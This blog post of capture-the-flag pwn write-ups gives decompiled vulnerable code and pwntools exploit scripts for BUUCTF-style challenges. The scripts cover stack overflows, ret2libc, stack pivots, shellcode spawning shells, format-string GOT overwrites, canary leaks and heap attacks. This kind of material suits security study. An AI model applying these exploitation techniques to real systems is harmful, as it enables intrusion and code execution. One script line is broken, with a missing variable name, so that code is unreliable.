4
5
6
# Exp
## call _system : 0x08048529; elf.plt['system'] : 0x80483e0
## 在ida里查看这两个地址,能很清楚的看到起始plt就是call system里边的语句,也就是说当我们再用plt的时候,默认是将改plt函数的下一条命令(汇编)地址压入栈中作为返回地址【也就是我们经常写的p(0)等】,如果没压入,则报错
## 但是在这道题中,由于输入的限制,无法压入该函数的返回地址,所以不能使用plt,只能利用原始的call,让程序帮我们压入一个返回地址,程序就正常了
sh = 0x08048670
payload = b'a'*0x1c + p(0x08048529) + p(sh)

[Black Watch 入群题]PWN

考点

  • 32位栈溢出
  • 栈迁移
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ssize_t vul_function()
{
size_t n; // eax
size_t n_1; // eax
_BYTE buf[24]; // [esp+0h] [ebp-18h] BYREF

n = strlen(m1); // "Hello good Ctfer!\nWhat is your name?"
write(
1,
m1, // "Hello good Ctfer!\nWhat is your name?"
n);
read(0, &s, 0x200u);
n_1 = strlen(m2); // "What do you want to say?"
write(
1,
m2, // "What do you want to say?"
n_1);
return read(0, buf, 0x20u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Exp
func_plt = elf.plt['write']
func_got = elf.got['write']
again = elf.sym['main']

sh = 0x0804A300
leave_ret = 0x08048511

payload = p(func_plt) + p(again) + p(1) + p(func_got) + p(4)
sla('your name?',payload)

payload = b'a'*0x18 + p(sh-4) + p(leave_ret)
sa('to say?',payload)

func_addr = u(r(4)[:4])
lgs(hex(func_addr))

libc = ELF('./libc-2.23.so')
libcBase = func_addr - libc.sym['write']

sysAddr = libcBase + libc.sym['system']
shellStr = libcBase + next(libc.search(b'/bin/sh\x00'))

payload = p(sysAddr)+ p(again) + p(shellStr)
sla('your name?',payload)

payload = b'a'*0x18 + p(sh-4) + p(leave_ret)
sla('to say?',payload)

pwnable_orw

考点

  • 沙盒限制syscall
1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}
1
2
3
4
5
6
7
# Exp
## 初步诊断是shellcode应该为栈上的地址才能跑,但是它写到bss上,但是bss也没给权限
## addr找个能写的地方就行
orw_shell = shellcraft.open("/flag")
orw_shell += shellcraft.read(0,addr,100)
orw_shell += shellcraft.write(1,addr,100)
shellcode = asm(orw_shell)

bbys_tu_2016

考点

  • 32位栈溢出+后门
1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+14h] [ebp-Ch] BYREF

puts("This program is hungry. You should feed it.");
__isoc99_scanf("%s", &v4);
puts("Do you feel the flow?");
return 0;
}
1
2
# Exp
payload = b'a'*0x18 + p(elf.sym['printFlag'])

xdctf2015_pwn200

考点

  • 32位栈溢出
  • Ret2libc
1
2
3
4
5
6
7
ssize_t vuln()
{
char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF

setbuf(stdin, buf);
return read(0, buf, 0x100u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Exp
func_plt = elf.plt['write']
func_got = elf.got['write']
again = elf.sym['vuln']

overoff = 0x6c+4

payload = overoff*b'a' + p(func_plt) + p(again) +p(1)+p(func_got)+p(4)

sla("Welcome to XDCTF2015~!\n",payload)

func_addr = u(r(4)[:4])
print(hex(func_addr))

libc = ELF('./libc-2.23.so')
libcBase = func_addr - libc.sym['write']

sysAddr = libcBase + libc.sym['system']
shellStr = libcBase + next(libc.search(b'/bin/sh\x00'))

payload = overoff*b'a' + p(sysAddr)+ p(again) + p(shellStr)

wustctf2020_closed

考点

  • 重定向
1
2
3
4
5
6
7
__int64 vulnerable()
{
puts("HaHaHa!\nWhat else can you do???");
close(1);
close(2);
return shell();
}
1
2
# Exp
payload = 'exec 1>&0;cat flag'

ciscn_2019_s_4

考点

  • 32位栈溢出
  • 数据收集
  • 栈迁移
1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
# Exp
payload = junk(0x24)+b'TTTT'
s(payload)
ru('TTTT')
last_ebp = u(r(4))
stack = last_ebp - 0x38
lgs(hex(last_ebp))

leave_ret = 0x080485FD

payload = p(elf.plt['system']) + p(0) + p(stack+0xc) + b'/bin/sh\x00'
payload = payload.ljust(0x28) + p(stack-4) + p(leave_ret)
sl(payload)

picoctf_2018_shellcode

考点

  • Ret2shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (*v4[37])(void); // [esp+8h] [ebp-A0h] BYREF
int v5; // [esp+9Ch] [ebp-Ch]

setvbuf(stdout, 0, 2, 0);
v5 = getegid();
setresgid(v5, v5, v5);
puts("Enter a string!");
vuln(v4);
puts("Thanks! Executing now...");
v4[0]();
return 0;
}
1
2
# Exp
payload = asm(shellcraft.sh())

[ZJCTF 2019]Login

考点

  • GDB调试
  • snprintf-%s的特性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(
void (***a1)(void),
const char *s1,
const char *s2)
{
char s[88]; // [rsp+20h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+78h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( !strcmp(s1, s2) )
{
snprintf(s, 0x50uLL, "Password accepted: %s\n", s);
puts(s);
(**a1)();
}
else
{
puts("Nope!");
}
return __readfsqword(0x28u) ^ v5;
}


int __fastcall main(int argc, const char **argv, const char **envp)
{
void (*v3)(void); // rax
__int64 password; // rbx
__int64 v5; // rax
char v7; // [rsp+Fh] [rbp-131h] BYREF
_QWORD *v8; // [rsp+10h] [rbp-130h] BYREF
_BYTE p_login[176]; // [rsp+20h] [rbp-120h] BYREF
char _2jctf_pa5sw0rd[88]; // [rsp+D0h] [rbp-70h] BYREF
unsigned __int64 v11; // [rsp+128h] [rbp-18h]

v11 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
strcpy(_2jctf_pa5sw0rd, "2jctf_pa5sw0rd");
memset(&_2jctf_pa5sw0rd[15], 0, 65);
Admin::Admin(p_login, "admin", _2jctf_pa5sw0rd);
puts(
" _____ _ ____ _____ _____ _ _ \n"
"|__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ \n"
" / /_ | | | | | | |_ | | / _ \\ / _` | | '_ \\ \n"
" / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | |\n"
"/____\\___/ \\____| |_| |_| |_____\\___/ \\__, |_|_| |_|\n"
" |___/ ");
printf("Please enter username: ");
User::read_name(&login);
printf("Please enter password: ");
v3 = main::{lambda(void)#1}::operator void (*)(void)(&v7);
v8 = password_checker(v3);
User::read_password(&login);
password = User::get_password(p_login);
v5 = User::get_password(&login);
password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(&v8, v5, password);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
# Exp try-snprintf
## 程序由于是C++写很乱,但是不影响,我们只看调试
## 在password_checker里看到一个验证并执行一个函数(call rax)
## 最开始我是想通过snprintf实现溢出到rax,替换backdoor,但是我忽略了%s的特性-->在\x00截断,由于backdoor的高位地址并不是有效位(0),所以会直接截断由\n(0xa)代替,导致backdoor的地址出错

backdoor = 0x00400E88
sla('username: ','admin')

payload = b'2jctf_pa5sw0rd\x00'
payload = payload.ljust(0x35,b'a') +p(backdoor)
sla('password: ',payload)

溯源

既然snprintf无法实现,那么我们就从rax的来寻找,password_checker函数的第一个参数就是我们的rax,找一下从哪来的

能找到rax怎么出现的,但似乎没有与其有关联的函数,不妨试试卡在中间的函数User::read_password(void)

1
2
3
4
5
6
7
8
9
10
# Exp
## 覆盖rax
## 这里为什么用\x00来填充而不用其他的字符,还是因为%s的骚操作遇\x00截断以及snprintf的字符数量限制,这样可以保证我们的backdoor是完好的
## 对比下
backdoor = 0x00400E88
sla('username: ','admin')

payload = b'2jctf_pa5sw0rd\x00'
payload = payload.ljust(0x48,b'\x00') +p(backdoor)
sla('password: ',payload)

1
2
3
4
5
6
backdoor = 0x00400E88
sla('username: ','admin')

payload = b'2jctf_pa5sw0rd\x00'
payload = payload.ljust(0x48,b'a') +p(backdoor)
sla('password: ',payload)

最后解释一下为什么中间的User::read_password(void)能覆盖到我们的rax

  • 实际就是栈帧的问题

当我们在执行User::read_password(void)的时候生成的栈帧是包含了生成rax的栈帧的,而rax又是通过指针来保存的,也就是说,我们能够写到生成rax的栈帧上就能完成对rax的改写

hitcontraining_magicheap

考点

  • HEAP
  • House Of Spirit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
int menu()
{
puts("--------------------------------");
puts(" Easy Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
return printf("Your choice :");
}

unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
heaparray[i] = (note *)malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 edit_heap()
{
unsigned int n0xA; // [rsp+4h] [rbp-1Ch]
__int64 size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
n0xA = atoi(buf);
if ( n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[n0xA] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[n0xA], size);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}


unsigned __int64 delete_heap()
{
unsigned int n0xA; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
n0xA = atoi(buf);
if ( n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[n0xA] )
{
free(heaparray[n0xA]);
heaparray[n0xA] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# Exp 跟[ZJCTF 2019]EasyHeap差不多,但是要注意magic的变量类型

def Add(size,content):
sla('choice :',str(1))
sla('Size of Heap : ',str(size))
sla('Content of heap:',content)

def Edit(index,size,content):
sla('choice :',str(2))
sla('Index :',str(index))
sla('Size of Heap : ',str(size))
sla('Content of heap : ',content)

def Del(index):
sla('choice :',str(3))
sla('Index :',str(index))

fake_chunk = 0x0602090-3
func_got = elf.got['free']
note = 0x06020C0

Add(0x20,b'aaaa')
Add(0x60,b'aaaa')
Del(1)

fake_chunk_fd = fake_chunk
fake_chunk_prevsize = 0
fake_chunk_size = 0x71

payload = junk(0x20)
payload += p(fake_chunk_prevsize) + p(fake_chunk_size)
payload += p(fake_chunk_fd)
Edit(0,len(payload),payload)

Add(0x60,b'sh\x00')
Add(0x60,b'bbbb')

num = note - (fake_chunk + 0x10)
payload = junk(num) + p(func_got)
Edit(2,len(payload),payload)

payload = p(elf.plt['system'])
Edit(0,len(payload),payload)

Del(1)

jarvisoj_level1

考点

  • 32位栈溢出
  • Ret2shellcode
  • Ret2libc
1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
_BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF

printf("What's this:%p?\n", buf);
return read(0, buf, 0x100u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Exp Ret2shellcode
## 有病,不给回显,打什么
ru(":")
stack = int(r(10),16)
payload = asm(shellcraft.sh())
payload = payload.ljust(0x8c,b'a') + p(stack)
sl(payload)

# Exp
## Ret2libc

func_plt = elf.plt['write']
func_got = elf.got['write']
again = elf.sym['main']

overoff = 0x88+4

payload = overoff*b'a' + p(func_plt) + p(again) +p(1)+p(func_got)+p(4)

sl(payload)

func_addr = u(r(4)[:4])
print(hex(func_addr))

libc = ELF('./libc-2.23.so')
libcBase = func_addr - libc.sym['write']

sysAddr = libcBase + libc.sym['system']
shellStr = libcBase + next(libc.search(b'/bin/sh\x00'))

payload = overoff*b'a' + p(sysAddr)+ p(again) + p(shellStr)
sl(payload)

ciscn_2019_s_9

考点

  • 32位栈溢出+后门
  • Ret2shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void hint()
{
__asm { jmp esp }
}

int pwn()
{
char s[32]; // [esp+8h] [ebp-20h] BYREF

puts("\nHey! ^_^");
puts("\nIt's nice to meet you");
puts("\nDo you have anything to tell?");
puts(">");
fflush(stdout);
fgets(s, 0x32, stdin);
puts("OK bye~");
fflush(stdout);
return 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# Exp Ret2shellcode
## 实在不会的话可以打Ret2libc
jmp_esp = 0x08048554

shellcode = """
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
int 0x80
"""
payload = asm(shellcode)
payload = payload.ljust(0x24,b'a') + p(jmp_esp)
payload += asm('sub esp,0x28;jmp esp')

sl(payload)

# Exp Ret2libc
func_plt = elf.plt['puts']
func_got = elf.got['puts']
again = elf.sym['main']

overoff = 0x20+4

payload = overoff*b'a' + p(func_plt) + p(again) +p(func_got)

sla(">\n",payload)
ru('OK bye~\n')
func_addr = u(r(4))
print(hex(func_addr))

libc = LibcSearcher('puts',func_addr)
libcBase = func_addr - libc.dump('puts')

sysAddr = libcBase + libc.dump('system')
shellStr = libcBase + libc.dump('str_bin_sh')
payload = overoff*b'a' + p(sysAddr)+ p(again) + p(shellStr)
sl(payload)

axb_2019_fmt32

考点

  • fmt
    • 函数替换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[257]; // [esp+Fh] [ebp-239h] BYREF
char format[300]; // [esp+110h] [ebp-138h] BYREF
unsigned int v5; // [esp+23Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
puts(
"Hello,I am a computer Repeater updated.\n"
"After a lot of machine learning,I know that the essence of man is a reread machine!");
puts("So I'll answer whatever you say!");
while ( 1 )
{
alarm(3u);
memset(s, 0, sizeof(s));
memset(format, 0, sizeof(format));
printf("Please tell me:");
read(0, s, 0x100u);
sprintf(format, "Repeater:%s\n", s);
if ( strlen(format) > 0x10E )
break;
printf(format);
}
printf("what you input is really long!");
exit(0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Exp
## 这里选strlen来替换成system来getshell,可以通过;sh\x00来实现
## 为什么选strlen呢,因为我们要输入一个sh字符串,然后对其进行调用,所以必须再read后,且参数是一个的,那么满足条件的就只有strlen
## 先leak后,再手搓,手搓是因为%hhn、%hn、%n的特性
## 最后命令拼接一下即可
payload = b'aaa' + p(elf.got['puts']) + b'%75$s'
s(payload)
ru('aaa')
r(4)
func_addr = u(r(4))
lgs(hex(func_addr))

libc = ELF('./libc-2.23.so')
libcBase = func_addr - libc.sym['puts']

sysAddr = libcBase + libc.sym['system']
shellStr = libcBase + next(libc.search(b'/bin/sh\x00'))
lgs(hex(sysAddr))

num = 0x18
sysAddr_part1 = (sysAddr&0xff) - num
sysAddr_part2 = (sysAddr >> 24) - (sysAddr&0xff)
sysAddr_part3 = ((sysAddr >> 8) & 0xffff) - (sysAddr >> 24)
payload = b'aaa' + p(elf.got['strlen']) + p(elf.got['strlen']+3) + p(elf.got['strlen']+1)
payload += b'%'+str(sysAddr_part1).encode() + b'c%75$hhn'
payload += b'%'+str(sysAddr_part2).encode() + b'c%76$hhn'
payload += b'%'+str(sysAddr_part3).encode() + b'c%77$hn'
# 等价于payload = b'aaa' + fmtstr_payload(75,{elf.got['strlen']:sysAddr},0xc)
s(payload)

sl(';sh\x00')

others_babystack

考点

  • canary
  • 数据收集
  • 64位栈溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
char s[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(s, 0, 0x80uLL);
while ( 1 )
{
sub_4008B9();
v3 = sub_400841();
switch ( v3 )
{
case 2:
puts(s);
break;
case 3:
return 0LL;
case 1:
read(0, s, 0x100uLL);
break;
default:
sub_400826("invalid choice");
break;
}
sub_400826(&byte_400AE7);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# Exp
## 这道题主要是通过覆盖canary低位地址为0来泄露canary,同时防止0截断,导致puts无法输出
#-----------------------------------leak--canary---------------------------------------------#
sla('>> ',str(1))

overoff = 0x90-8-4
payload = overoff * b'a' + b'TTTTT'
s(payload)

sla('>> ',str(2))

ru('TTTTT')
canary = u(r(7).rjust(8,b'\x00'))
lgs(hex(canary))
#---------------------------------leak--libcbase-----------------------------------------------#
func_plt = elf.plt['puts']
func_got = elf.got['puts']
again = 0x00400908

overoff = 0x90-8

rdiRet = 0x0000000000400a93
Ret = 0x000000000040067e

sla('>> ',str(1))

payload = cyclic(0x90-8) + p(canary)*2
payload += p(rdiRet) + p(func_got) + p(func_plt)
payload += p(again)
sl(payload)
# gdp()
sla('>> ',str(3))

funcAddr = u(rl().strip()[:6].ljust(8,b'\x00'))
lgs(hex(funcAddr))

libc = LibcSearcher('puts',funcAddr)
libcBase = funcAddr - libc.dump('puts')

sysAddr,shellStr = SLSysBin(libc,libcBase)
#--------------------------------------getshell-----------------------------------------------#
sla('>> ',str(1))
payload = cyclic(0x90-8) +p(canary)*2 + p(Ret) + p(rdiRet) + p(shellStr) + p(sysAddr)

sl(payload)
sla('>> ',str(3))

pwnable_start

考点

  • Ret2shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:08048060                               ; int start()
.text:08048060 public _start
.text:08048060 _start proc near
.text:08048060 54 push esp
.text:08048061 68 9D 80 04 08 push offset _exit
.text:08048066 31 C0 xor eax, eax
.text:08048068 31 DB xor ebx, ebx
.text:0804806A 31 C9 xor ecx, ecx
.text:0804806C 31 D2 xor edx, edx
.text:0804806E 68 43 54 46 3A push 3A465443h
.text:08048073 68 74 68 65 20 push 20656874h
.text:08048078 68 61 72 74 20 push 20747261h
.text:0804807D 68 73 20 73 74 push 74732073h
.text:08048082 68 4C 65 74 27 push 2774654Ch
.text:08048087 89 E1 mov ecx, esp ; addr
.text:08048089 B2 14 mov dl, 14h ; len
.text:0804808B B3 01 mov bl, 1 ; fd
.text:0804808D B0 04 mov al, 4
.text:0804808F CD 80 int 80h ; LINUX - sys_write
.text:08048091 31 DB xor ebx, ebx
.text:08048093 B2 3C mov dl, 3Ch ; '<'
.text:08048095 B0 03 mov al, 3
.text:08048097 CD 80 int 80h ; LINUX -
.text:08048099 83 C4 14 add esp, 14h
.text:0804809C C3 retn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Exp
## 注意栈的一个布局,0x14后边跟的就是我们的返回地址,以及我们可以写入的长度为0x3c
payload = junk(0x14) + p(0x8048087)
s(payload)
ru('CTF:')
stack = u(r(4))
lgs(hex(stack),'stack')
code = """
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
int 0x80
"""
payload = junk(0x14) + p(stack + 0x10 + 4) + asm(code)
s(payload)
inter()

gyctf_2020_borrowstack

考点

  • 64位栈溢出
  • 栈迁移
  • onegadget
1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[96]; // [rsp+0h] [rbp-60h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(&s);
read(0, buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Exp
## 注意不能直接用bank的地址作为stack的起始地址,因为got表离bank很近,而我们再调用puts函数的时候,会拉一个至少10个空间栈空间(也就是80个字节)[可以自行调试查看],所以要保证这十个空间里不要盖到got表上
## 但是别忘了,我们要重复利用函数,所以应该是至少20(个人理解)
## libcsearch范围太大,去https://libc.rip/查
## 最后锁定libc6_2.23-0ubuntu10_amd64和libc6_2.23-0ubuntu11_amd64,通过onegadget实现getshell
stack = 0x00601080
leave_ret = 0x0400699

payload = b'a'*0x60 + p(stack-8) + p(leave_ret)
s(payload)

func_plt = elf.plt['puts']
func_got = elf.got['puts']
again = elf.sym['main']

rdiRet = 0x00400703
Ret = 0x0004004c9

payload = p(Ret)*20 + p(rdiRet) + p(func_got) + p(func_plt)
payload += p(again)

sla('stack now!\n',payload)

funcAddr = u(rl().strip()[:6].ljust(8,b'\x00'))
lgs(hex(funcAddr))

libc = LibcSearcher('puts',funcAddr)
= funcAddr - libc.dump('puts')

onegadget = [0x4526a,0xf02a4,0xf1147]
payload = b'a'*0x68 + p(libcBase+onegadget[0])
sl(payload)

hitcontraining_heapcreator

考点

  • HEAP
  • 堆溢出
    • 堆块重叠
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
unsigned __int64 create_heap()
{
note *v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
heaparray[i] = (note *)malloc(0x10uLL);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
v0 = heaparray[i];
v0->content = (__int64 *)malloc(size);
if ( !heaparray[i]->content )
{
puts("Allocate Error");
exit(2);
}
heaparray[i]->size = size;
printf("Content of heap:");
read_input(heaparray[i]->content, size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}

unsigned __int64 edit_heap()
{
unsigned int n0xA; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
n0xA = atoi(buf);
if ( n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[n0xA] )
{
printf("Content of heap : ");
read_input(heaparray[n0xA]->content, heaparray[n0xA]->size + 1);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

unsigned __int64 show_heap()
{
unsigned int n0xA; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
n0xA = atoi(buf);
if ( n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[n0xA] )
{
printf("Size : %ld\nContent : %s\n", heaparray[n0xA]->size, (const char *)heaparray[n0xA]->content);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

unsigned __int64 delete_heap()
{
unsigned int n0xA; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
n0xA = atoi(buf);
if ( n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[n0xA] )
{
free(heaparray[n0xA]->content);
free(heaparray[n0xA]);
heaparray[n0xA] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
read(0, buf, 4uLL);
switch ( atoi(buf) )
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
show_heap();
break;
case 4:
delete_heap();
break;
case 5:
exit(0);
default:
puts("Invalid Choice");
break;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# Exp
## 利用 off by one
def Add(size,content):
sla('Your choice :',str(1))
sla('Size of Heap : ',str(size))
sla('Content of heap:',content)

def Edit(index,content):
sla('Your choice :',str(2))
sla('Index :',str(index))
sla('Content of heap : ',content)

def Show(index):
sla('Your choice :',str(3))
sla('Index :',str(index))


def Del(index):
sla('Your choice :',str(4))
sla('Index :',str(index))

Add(0x18,b'aaaa')
Add(0x18,b'aaaa')
Add(0x18,b'sh\x00')

payload = junk(0x10) + p(0) + p8(0x41)
Edit(0,payload)

Del(1)
Add(0x38,b'aaaa')

free_got = elf.got['free']
payload = junk(0x10)
payload += p(0) + p(0x21)
payload += p(0x38) + p(free_got)

Edit(1,payload)

Show(1)
ru('Content : ')

free_addr = u(r(6).ljust(8,b'\x00'))
libc = LibcSearcher('free',free_addr)
libcbase = free_addr - libc.dump('free')
sysaddr,shaddr = SLSysBin(libc,libcbase)

lgs(hex(free_addr),'free_addr')
lgs(hex(libcbase),'libcbase')
lgs(hex(sysaddr),'system')

payload = p(sysaddr)
Edit(1,payload)

Del(2)

inter()


PWN-BUUCTF-2
https://tforevery.github.io/PWN/BUUCTF/PWN-BUUCTF-2/
作者
TY
发布于
2025年7月20日
许可协议